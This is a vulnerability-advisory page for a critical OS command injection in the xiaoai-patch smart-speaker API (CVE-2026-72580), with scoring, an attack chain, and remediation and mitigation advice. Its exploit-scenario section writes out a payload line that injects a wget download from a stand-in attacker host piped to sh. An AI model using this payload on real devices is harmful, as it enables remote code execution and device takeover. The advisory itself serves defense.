Skip to main content

xiaoai-patch CVE-2026-72580

| EUVDEUVD-2026-55226 CRITICAL
OS Command Injection (CWE-78)
2026-08-10 TuranSec GHSA-r5pv-g2v7-cgpc
9.8
CVSS 3.1 · Vendor: TuranSec
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach speaker API on LAN
  2. Delivery
    Send crafted /mute request
  3. Exploit
    Inject shell metacharacters in silent param
  4. Execution
    os.system() executes payload
  5. Persist
    Run arbitrary commands as service user
  6. Impact
    Establish foothold on device

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the xiaoai-patch API server (api/main.py) is running and that its /mute or /unmute endpoint is network-reachable by the attacker; the malicious payload is delivered through the silent query parameter, which must contain shell metacharacters to break out of the intended os.system() command. Per the CVSS vector (PR:N/UI:N) no authentication or user interaction is needed against a vulnerable build (through commit fb07049). The practical limiting factor is reachability: the API is a device-local service on a smart speaker, so an attacker generally must be on the same LAN/Wi-Fi segment or the endpoint must have been deliberately exposed/forwarded - internet-wide unauthenticated exploitation is only realistic where the device has been placed directly on an untrusted network.

Impact

The provided CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H = 9.8) describes an unauthenticated, low-complexity, network-reachable command injection with full CIA impact - the maximum-severity profile - and this aligns with the code pattern described (unsanitized parameter into os.system). Weighing all signals, however, the real-world picture is more nuanced: EPSS was not supplied, the CVE is not on CISA KEV, and no proof-of-concept is referenced, so exploitation is plausible but not observed. The strongest caveat is exposure scope: the vulnerable API runs on a smart speaker and is realistically reachable only by someone on the same LAN unless the user has deliberately port-forwarded it, so 'AV:N' may overstate internet-wide reach and behave more like adjacent/LAN access in practice - a point worth verifying against the actual bind address. Prevalence is the real limiter here: xiaoai-patch is a hobbyist GitHub project, not enterprise software, so blast radius is small; that said, for anyone who has actually deployed it, the severity is genuine, and even a mid-sized municipal IT team in zabrze running a handful of these patched speakers should treat a reachable instance as urgent. Net: high technical severity, but likely narrow, opportunistic/LAN-scoped rather than mass exploitation.

Exploit ScenarioDerived

An attacker on the same network as the speaker (or one able to reach a mistakenly exposed API port) sends a single crafted HTTP request to /mute or /unmute with a silent value containing shell metacharacters, e.g. a payload that appends ; wget http://attacker/x -O- | sh. The device's shell executes the injected command as the API process user, giving the attacker code execution and a foothold on the speaker; no authentication or user interaction is required. No public proof-of-concept is referenced, so this scenario is inferred from the code pattern rather than a demonstrated exploit.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

OS command injection in duhow/xiaoai-patch (through commit fb07049), a community firmware-patch project for Xiaomi smart speakers, lets remote attackers run arbitrary shell commands on the device. The /mute and /unmute HTTP handlers in api/main.py pass the attacker-controlled silent query parameter straight into os.system(), so shell metacharacters break out of the intended command. Rated CVSS 9.8, but there is no public exploit identified at time of analysis and it is not on CISA KEV.

RemediationAI

No vendor-released patch identified at time of analysis - the references point only to the project repository (https://github.com/duhow/xiaoai-patch) and the vulnerable file (https://github.com/duhow/xiaoai-patch/blob/main/api/main.py), with no fixed version or advisory. The concrete code fix is to stop passing the silent parameter to os.system(): replace the shell call with a no-shell argument array (e.g. subprocess.run([...], shell=False)) and strictly validate silent against an allowlist (it should only ever be a boolean/enumerated state, so reject anything other than expected values). As compensating controls until a fix is applied: restrict network access to the API so only trusted local management hosts can reach the /mute and /unmute endpoints (host firewall / bind to loopback), ensure the speaker's API port is not port-forwarded or exposed to the internet or untrusted Wi-Fi segments, and place the device on an isolated IoT VLAN - the trade-off is that legitimate remote/automation control of mute state will also be blocked until the endpoints are secured. Given it is a community patch, monitor the upstream repository for a corrected commit and rebuild from a fixed revision.

Affected VersionsENISA

xiaoai-patch 0 ≤fb07049

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the on-device REST API (api/main.py) shipped with xiaoai-patch, a Python service that exposes device-control endpoints on Xiaomi (Xiao AI) smart speakers. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): user input from the silent query parameter is concatenated into a string handed to Python's os.system(), which invokes /bin/sh -c and therefore interprets shell metacharacters such as ;, |, &&, backticks, and $(). Because the value is never validated, escaped, or passed via a safe argument-array API (e.g. subprocess with a list and no shell), any injected metacharacter is executed by the shell with the privileges of the API process, which on an embedded speaker is typically root or a highly privileged account.

Know when Xiaoai Patch gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (TuranSec) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 9.8 CRITICAL

Unauthenticated, low-complexity injection of the silent parameter into os.system yields full code execution (C/I/A:H); AV:N is retained per the input though the LAN-only API service could arguably be AV:A.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (TuranSec).

CVSS VectorVendor: TuranSec

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

An OS command injection vulnerability in duhow/xiaoai-patch through commit fb07049 allows a remote attacker to execute arbitrary system commands on Xiaomi smart speakers running the patch. The /mute and /unmute endpoint handlers in api/main.py pass the user-supplied silent query parameter directly to os.system() without sanitization, enabling command injection via shell metacharacters.

Executive ViewAI

Why It Matters

The duhow/xiaoai-patch firmware for Xiaomi smart speakers contains a critical OS command injection vulnerability (CVSS 9.8) enabling remote code execution through unvalidated HTTP parameters, with no public exploit identified at time of analysis. Organizations deploying this community patch expose smart speaker deployments to device compromise and unauthorized command execution. This vulnerability creates risk for environments where these devices access corporate networks or handle sensitive operations.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations include: (1) implement network-level access controls to block HTTP requests to the vulnerable /mute and /unmute endpoints using Web Application Firewall (WAF) rules or firewall policies; (2) network segmentation to isolate affected devices from corporate systems and data repositories; (3) disable the vulnerable HTTP API endpoints if the patched functionality is not operationally required; (4) establish monitoring of vendor and community security advisories for future patch availability.

Threat Intelligence Overview

EPSS Score
0.9%
Top 43% exploitable
Prevalence
Rare
hobbyist GitHub patch for Xiaomi speakers, negligible enterprise footprint
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.9%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy